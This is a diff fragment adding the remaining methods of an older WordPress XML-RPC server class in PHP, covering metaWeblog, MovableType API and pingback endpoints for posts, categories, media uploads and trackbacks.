+				$tagnames = implode( ', ', $tagnames );
+			} else {
+				$tagnames = '';
+			}
+
+			$post = get_extended($postdata['post_content']);
+			$link = post_permalink($postdata['ID']);
+
+			// Get the author info.
+			$author = get_userdata($postdata['post_author']);
+
+			$allow_comments = ('open' == $postdata['comment_status']) ? 1 : 0;
+			$allow_pings = ('open' == $postdata['ping_status']) ? 1 : 0;
+
+			// Consider future posts as published
+			if( $postdata['post_status'] === 'future' ) {
+				$postdata['post_status'] = 'publish';
+			}
+
+			$sticky = false;
+			if ( is_sticky( $post_ID ) )
+				$sticky = true;
+
+			$enclosure = array();
+			foreach ( (array) get_post_custom($post_ID) as $key => $val) {
+				if ($key == 'enclosure') {
+					foreach ( (array) $val as $enc ) {
+						$encdata = split("\n", $enc);
+						$enclosure['url'] = trim(htmlspecialchars($encdata[0]));
+						$enclosure['length'] = trim($encdata[1]);
+						$enclosure['type'] = trim($encdata[2]);
+						break 2;
+					}
+				}
+			}
+
+			$resp = array(
+				'dateCreated' => new IXR_Date($post_date),
+				'userid' => $postdata['post_author'],
+				'postid' => $postdata['ID'],
+				'description' => $post['main'],
+				'title' => $postdata['post_title'],
+				'link' => $link,
+				'permaLink' => $link,
+				// commented out because no other tool seems to use this
+				//	      'content' => $entry['post_content'],
+				'categories' => $categories,
+				'mt_excerpt' => $postdata['post_excerpt'],
+				'mt_text_more' => $post['extended'],
+				'mt_allow_comments' => $allow_comments,
+				'mt_allow_pings' => $allow_pings,
+				'mt_keywords' => $tagnames,
+				'wp_slug' => $postdata['post_name'],
+				'wp_password' => $postdata['post_password'],
+				'wp_author_id' => $author->ID,
+				'wp_author_display_name'	=> $author->display_name,
+				'date_created_gmt' => new IXR_Date($post_date_gmt),
+				'post_status' => $postdata['post_status'],
+				'custom_fields' => $this->get_custom_fields($post_ID),
+				'sticky' => $sticky
+			);
+
+			if (!empty($enclosure)) $resp['enclosure'] = $enclosure;
+
+			return $resp;
+		} else {
+			return new IXR_Error(404, __('Sorry, no such post.'));
+		}
+	}
+
+	/**
+	 * Retrieve list of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mw_getRecentPosts($args) {
+
+		$this->escape($args);
+
+		$blog_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+		$num_posts   = (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'metaWeblog.getRecentPosts');
+
+		$posts_list = wp_get_recent_posts($num_posts);
+
+		if (!$posts_list) {
+			return array( );
+		}
+
+		foreach ($posts_list as $entry) {
+			if( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false);
+			$post_date_gmt = mysql2date('Ymd\TH:i:s', $entry['post_date_gmt'], false);
+
+			$categories = array();
+			$catids = wp_get_post_categories($entry['ID']);
+			foreach($catids as $catid) {
+				$categories[] = get_cat_name($catid);
+			}
+
+			$tagnames = array();
+			$tags = wp_get_post_tags( $entry['ID'] );
+			if ( !empty( $tags ) ) {
+				foreach ( $tags as $tag ) {
+					$tagnames[] = $tag->name;
+				}
+				$tagnames = implode( ', ', $tagnames );
+			} else {
+				$tagnames = '';
+			}
+
+			$post = get_extended($entry['post_content']);
+			$link = post_permalink($entry['ID']);
+
+			// Get the post author info.
+			$author = get_userdata($entry['post_author']);
+
+			$allow_comments = ('open' == $entry['comment_status']) ? 1 : 0;
+			$allow_pings = ('open' == $entry['ping_status']) ? 1 : 0;
+
+			// Consider future posts as published
+			if( $entry['post_status'] === 'future' ) {
+				$entry['post_status'] = 'publish';
+			}
+
+			$struct[] = array(
+				'dateCreated' => new IXR_Date($post_date),
+				'userid' => $entry['post_author'],
+				'postid' => $entry['ID'],
+				'description' => $post['main'],
+				'title' => $entry['post_title'],
+				'link' => $link,
+				'permaLink' => $link,
+				// commented out because no other tool seems to use this
+				// 'content' => $entry['post_content'],
+				'categories' => $categories,
+				'mt_excerpt' => $entry['post_excerpt'],
+				'mt_text_more' => $post['extended'],
+				'mt_allow_comments' => $allow_comments,
+				'mt_allow_pings' => $allow_pings,
+				'mt_keywords' => $tagnames,
+				'wp_slug' => $entry['post_name'],
+				'wp_password' => $entry['post_password'],
+				'wp_author_id' => $author->ID,
+				'wp_author_display_name' => $author->display_name,
+				'date_created_gmt' => new IXR_Date($post_date_gmt),
+				'post_status' => $entry['post_status'],
+				'custom_fields' => $this->get_custom_fields($entry['ID'])
+			);
+
+		}
+
+		$recent_posts = array();
+		for ($j=0; $j<count($struct); $j++) {
+			array_push($recent_posts, $struct[$j]);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve the list of categories on a given blog.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mw_getCategories($args) {
+
+		$this->escape($args);
+
+		$blog_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view categories.' ) );
+
+		do_action('xmlrpc_call', 'metaWeblog.getCategories');
+
+		$categories_struct = array();
+
+		if ( $cats = get_categories('get=all') ) {
+			foreach ( $cats as $cat ) {
+				$struct['categoryId'] = $cat->term_id;
+				$struct['parentId'] = $cat->parent;
+				$struct['description'] = $cat->name;
+				$struct['categoryDescription'] = $cat->description;
+				$struct['categoryName'] = $cat->name;
+				$struct['htmlUrl'] = esc_html(get_category_link($cat->term_id));
+				$struct['rssUrl'] = esc_html(get_category_feed_link($cat->term_id, 'rss2'));
+
+				$categories_struct[] = $struct;
+			}
+		}
+
+		return $categories_struct;
+	}
+
+	/**
+	 * Uploads a file, following your settings.
+	 *
+	 * Adapted from a patch by Johann Richard.
+	 *
+	 * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mw_newMediaObject($args) {
+		global $wpdb;
+
+		$blog_ID     = (int) $args[0];
+		$username  = $wpdb->escape($args[1]);
+		$password   = $wpdb->escape($args[2]);
+		$data        = $args[3];
+
+		$name = sanitize_file_name( $data['name'] );
+		$type = $data['type'];
+		$bits = $data['bits'];
+
+		logIO('O', '(MW) Received '.strlen($bits).' bytes');
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'metaWeblog.newMediaObject');
+
+		if ( !current_user_can('upload_files') ) {
+			logIO('O', '(MW) User does not have upload_files capability');
+			$this->error = new IXR_Error(401, __('You are not allowed to upload files to this site.'));
+			return $this->error;
+		}
+
+		if ( $upload_err = apply_filters( "pre_upload_error", false ) )
+			return new IXR_Error(500, $upload_err);
+
+		if(!empty($data["overwrite"]) && ($data["overwrite"] == true)) {
+			// Get postmeta info on the object.
+			$old_file = $wpdb->get_row("
+				SELECT ID
+				FROM {$wpdb->posts}
+				WHERE post_title = '{$name}'
+					AND post_type = 'attachment'
+			");
+
+			// Delete previous file.
+			wp_delete_attachment($old_file->ID);
+
+			// Make sure the new name is different by pre-pending the
+			// previous post id.
+			$filename = preg_replace("/^wpid\d+-/", "", $name);
+			$name = "wpid{$old_file->ID}-{$filename}";
+		}
+
+		$upload = wp_upload_bits($name, $type, $bits);
+		if ( ! empty($upload['error']) ) {
+			$errorString = sprintf(__('Could not write file %1$s (%2$s)'), $name, $upload['error']);
+			logIO('O', '(MW) ' . $errorString);
+			return new IXR_Error(500, $errorString);
+		}
+		// Construct the attachment array
+		// attach to post_id -1
+		$post_id = -1;
+		$attachment = array(
+			'post_title' => $name,
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $post_id,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ]
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+
+		return apply_filters( 'wp_handle_upload', array( 'file' => $name, 'url' => $upload[ 'url' ], 'type' => $type ) );
+	}
+
+	/* MovableType API functions
+	 * specs on http://www.movabletype.org/docs/mtmanual_programmatic.html
+	 */
+
+	/**
+	 * Retrieve the post titles of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mt_getRecentPostTitles($args) {
+
+		$this->escape($args);
+
+		$blog_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+		$num_posts   = (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'mt.getRecentPostTitles');
+
+		$posts_list = wp_get_recent_posts($num_posts);
+
+		if (!$posts_list) {
+			$this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
+			return $this->error;
+		}
+
+		foreach ($posts_list as $entry) {
+			if( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false);
+			$post_date_gmt = mysql2date('Ymd\TH:i:s', $entry['post_date_gmt'], false);
+
+			$struct[] = array(
+				'dateCreated' => new IXR_Date($post_date),
+				'userid' => $entry['post_author'],
+				'postid' => $entry['ID'],
+				'title' => $entry['post_title'],
+				'date_created_gmt' => new IXR_Date($post_date_gmt)
+			);
+
+		}
+
+		$recent_posts = array();
+		for ($j=0; $j<count($struct); $j++) {
+			array_push($recent_posts, $struct[$j]);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve list of all categories on blog.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mt_getCategoryList($args) {
+
+		$this->escape($args);
+
+		$blog_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view categories.' ) );
+
+		do_action('xmlrpc_call', 'mt.getCategoryList');
+
+		$categories_struct = array();
+
+		if ( $cats = get_categories('hide_empty=0&hierarchical=0') ) {
+			foreach ($cats as $cat) {
+				$struct['categoryId'] = $cat->term_id;
+				$struct['categoryName'] = $cat->name;
+
+				$categories_struct[] = $struct;
+			}
+		}
+
+		return $categories_struct;
+	}
+
+	/**
+	 * Retrieve post categories.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mt_getPostCategories($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you can not edit this post.' ) );
+
+		do_action('xmlrpc_call', 'mt.getPostCategories');
+
+		$categories = array();
+		$catids = wp_get_post_categories(intval($post_ID));
+		// first listed category will be the primary category
+		$isPrimary = true;
+		foreach($catids as $catid) {
+			$categories[] = array(
+				'categoryName' => get_cat_name($catid),
+				'categoryId' => (string) $catid,
+				'isPrimary' => $isPrimary
+			);
+			$isPrimary = false;
+		}
+
+		return $categories;
+	}
+
+	/**
+	 * Sets categories for a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool True on success.
+	 */
+	function mt_setPostCategories($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+		$categories  = $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'mt.setPostCategories');
+
+		if ( !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you cannot edit this post.'));
+
+		foreach($categories as $cat) {
+			$catids[] = $cat['categoryId'];
+		}
+
+		wp_set_post_categories($post_ID, $catids);
+
+		return true;
+	}
+
+	/**
+	 * Retrieve an array of methods supported by this server.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mt_supportedMethods($args) {
+
+		do_action('xmlrpc_call', 'mt.supportedMethods');
+
+		$supported_methods = array();
+		foreach($this->methods as $key=>$value) {
+			$supported_methods[] = $key;
+		}
+
+		return $supported_methods;
+	}
+
+	/**
+	 * Retrieve an empty array because we don't support per-post text filters.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 */
+	function mt_supportedTextFilters($args) {
+		do_action('xmlrpc_call', 'mt.supportedTextFilters');
+		return apply_filters('xmlrpc_text_filters', array());
+	}
+
+	/**
+	 * Retrieve trackbacks sent to a given post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return mixed
+	 */
+	function mt_getTrackbackPings($args) {
+
+		global $wpdb;
+
+		$post_ID = intval($args);
+
+		do_action('xmlrpc_call', 'mt.getTrackbackPings');
+
+		$actual_post = wp_get_single_post($post_ID, ARRAY_A);
+
+		if (!$actual_post) {
+			return new IXR_Error(404, __('Sorry, no such post.'));
+		}
+
+		$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+
+		if (!$comments) {
+			return array();
+		}
+
+		$trackback_pings = array();
+		foreach($comments as $comment) {
+			if ( 'trackback' == $comment->comment_type ) {
+				$content = $comment->comment_content;
+				$title = substr($content, 8, (strpos($content, '</strong>') - 8));
+				$trackback_pings[] = array(
+					'pingTitle' => $title,
+					'pingURL'   => $comment->comment_author_url,
+					'pingIP'    => $comment->comment_author_IP
+				);
+		}
+		}
+
+		return $trackback_pings;
+	}
+
+	/**
+	 * Sets a post's publish status to 'publish'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int
+	 */
+	function mt_publishPost($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'mt.publishPost');
+
+		if ( !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you cannot edit this post.'));
+
+		$postdata = wp_get_single_post($post_ID,ARRAY_A);
+
+		$postdata['post_status'] = 'publish';
+
+		// retain old cats
+		$cats = wp_get_post_categories($post_ID);
+		$postdata['post_category'] = $cats;
+		$this->escape($postdata);
+
+		$result = wp_update_post($postdata);
+
+		return $result;
+	}
+
+	/* PingBack functions
+	 * specs on www.hixie.ch/specs/pingback/pingback
+	 */
+
+	/**
+	 * Retrieves a pingback and registers it.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function pingback_ping($args) {
+		global $wpdb;
+
+		do_action('xmlrpc_call', 'pingback.ping');
+
+		$this->escape($args);
+
+		$pagelinkedfrom = $args[0];
+		$pagelinkedto   = $args[1];
+
+		$title = '';
+
+		$pagelinkedfrom = str_replace('&amp;', '&', $pagelinkedfrom);
+		$pagelinkedto = str_replace('&amp;', '&', $pagelinkedto);
+		$pagelinkedto = str_replace('&', '&amp;', $pagelinkedto);
+
+		// Check if the page linked to is in our site
+		$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
+		if( !$pos1 )
+			return new IXR_Error(0, __('Is there no link to us?'));
+
+		// let's find which post is linked to
+		// FIXME: does url_to_postid() cover all these cases already?
+		//        if so, then let's use it and drop the old code.
+		$urltest = parse_url($pagelinkedto);
+		if ($post_ID = url_to_postid($pagelinkedto)) {
+			$way = 'url_to_postid()';
+		} elseif (preg_match('#p/[0-9]{1,}#', $urltest['path'], $match)) {
+			// the path defines the post_ID (archives/p/XXXX)
+			$blah = explode('/', $match[0]);
+			$post_ID = (int) $blah[1];
+			$way = 'from the path';
+		} elseif (preg_match('#p=[0-9]{1,}#', $urltest['query'], $match)) {
+			// the querystring defines the post_ID (?p=XXXX)
+			$blah = explode('=', $match[0]);
+			$post_ID = (int) $blah[1];
+			$way = 'from the querystring';
+		} elseif (isset($urltest['fragment'])) {
+			// an #anchor is there, it's either...
+			if (intval($urltest['fragment'])) {
+				// ...an integer #XXXX (simpliest case)
+				$post_ID = (int) $urltest['fragment'];
+				$way = 'from the fragment (numeric)';
+			} elseif (preg_match('/post-[0-9]+/',$urltest['fragment'])) {
+				// ...a post id in the form 'post-###'
+				$post_ID = preg_replace('/[^0-9]+/', '', $urltest['fragment']);
+				$way = 'from the fragment (post-###)';
+			} elseif (is_string($urltest['fragment'])) {
+				// ...or a string #title, a little more complicated
+				$title = preg_replace('/[^a-z0-9]/i', '.', $urltest['fragment']);
+				$sql = $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title);
+				if (! ($post_ID = $wpdb->get_var($sql)) ) {
+					// returning unknown error '0' is better than die()ing
+			  		return new IXR_Error(0, '');
+				}
+				$way = 'from the fragment (title)';
+			}
+		} else {
+			// TODO: Attempt to extract a post ID from the given URL
+	  		return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.'));
+		}
+		$post_ID = (int) $post_ID;
+
+
+		logIO("O","(PB) URL='$pagelinkedto' ID='$post_ID' Found='$way'");
+
+		$post = get_post($post_ID);
+
+		if ( !$post ) // Post_ID not found
+	  		return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.'));
+
+		if ( $post_ID == url_to_postid($pagelinkedfrom) )
+			return new IXR_Error(0, __('The source URL and the target URL cannot both point to the same resource.'));
+
+		// Check if pings are on
+		if ( !pings_open($post) )
+	  		return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.'));
+
+		// Let's check that the remote site didn't already pingback this entry
+		$wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_ID, $pagelinkedfrom) );
+
+		if ( $wpdb->num_rows ) // We already have a Pingback from this URL
+	  		return new IXR_Error(48, __('The pingback has already been registered.'));
+
+		// very stupid, but gives time to the 'from' server to publish !
+		sleep(1);
+
+		// Let's check the remote site
+		$linea = wp_remote_fopen( $pagelinkedfrom );
+		if ( !$linea )
+	  		return new IXR_Error(16, __('The source URL does not exist.'));
+
+		$linea = apply_filters('pre_remote_source', $linea, $pagelinkedto);
+
+		// Work around bug in strip_tags():
+		$linea = str_replace('<!DOC', '<DOC', $linea);
+		$linea = preg_replace( '/[\s\r\n\t]+/', ' ', $linea ); // normalize spaces
+		$linea = preg_replace( "/ <(h1|h2|h3|h4|h5|h6|p|th|td|li|dt|dd|pre|caption|input|textarea|button|body)[^>]*>/", "\n\n", $linea );
+
+		preg_match('|<title>([^<]*?)</title>|is', $linea, $matchtitle);
+		$title = $matchtitle[1];
+		if ( empty( $title ) )
+			return new IXR_Error(32, __('We cannot find a title on that page.'));
+
+		$linea = strip_tags( $linea, '<a>' ); // just keep the tag we need
+
+		$p = explode( "\n\n", $linea );
+
+		$preg_target = preg_quote($pagelinkedto, '|');
+
+		foreach ( $p as $para ) {
+			if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
+				preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
+
+				// If the URL isn't in a link context, keep looking
+				if ( empty($context) )
+					continue;
+
+				// We're going to use this fake tag to mark the context in a bit
+				// the marker is needed in case the link text appears more than once in the paragraph
+				$excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
+
+				// prevent really long link text
+				if ( strlen($context[1]) > 100 )
+					$context[1] = substr($context[1], 0, 100) . '...';
+
+				$marker = '<wpcontext>'.$context[1].'</wpcontext>';    // set up our marker
+				$excerpt= str_replace($context[0], $marker, $excerpt); // swap out the link for our marker
+				$excerpt = strip_tags($excerpt, '<wpcontext>');        // strip all tags but our context marker
+				$excerpt = trim($excerpt);
+				$preg_marker = preg_quote($marker, '|');
+				$excerpt = preg_replace("|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt);
+				$excerpt = strip_tags($excerpt); // YES, again, to remove the marker wrapper
+				break;
+			}
+		}
+
+		if ( empty($context) ) // Link to target not found
+			return new IXR_Error(17, __('The source URL does not contain a link to the target URL, and so cannot be used as a source.'));
+
+		$pagelinkedfrom = str_replace('&', '&amp;', $pagelinkedfrom);
+
+		$context = '[...] ' . esc_html( $excerpt ) . ' [...]';
+		$pagelinkedfrom = $wpdb->escape( $pagelinkedfrom );
+
+		$comment_post_ID = (int) $post_ID;
+		$comment_author = $title;
+		$this->escape($comment_author);
+		$comment_author_url = $pagelinkedfrom;
+		$comment_content = $context;
+		$this->escape($comment_content);
+		$comment_type = 'pingback';
+
+		$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_content', 'comment_type');
+
+		$comment_ID = wp_new_comment($commentdata);
+		do_action('pingback_post', $comment_ID);
+
+		return sprintf(__('Pingback from %1$s to %2$s registered. Keep the web talking! :-)'), $pagelinkedfrom, $pagelinkedto);
+	}
+
+	/**
+	 * Retrieve array of URLs that pingbacked the given URL.
+	 *
+	 * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function pingback_extensions_getPingbacks($args) {
+
+		global $wpdb;
+
+		do_action('xmlrpc_call', 'pingback.extensions.getPingbacks');
+
+		$this->escape($args);
+
+		$url = $args;
+
+		$post_ID = url_to_postid($url);
+		if (!$post_ID) {
+			// We aren't sure that the resource is available and/or pingback enabled
+	  		return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.'));
+		}
+
+		$actual_post = wp_get_single_post($post_ID, ARRAY_A);
+
+		if (!$actual_post) {
+			// No such post = resource not found
+	  		return new IXR_Error(32, __('The specified target URL does not exist.'));
+		}
+
+		$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+
+		if (!$comments) {
+			return array();
+		}
+
+		$pingbacks = array();
+		foreach($comments as $comment) {
+			if ( 'pingback' == $comment->comment_type )
+				$pingbacks[] = $comment->comment_author_url;
+		}
+
+		return $pingbacks;
+	}
+}
+
+$wp_xmlrpc_server = new wp_xmlrpc_server();
+
+?>
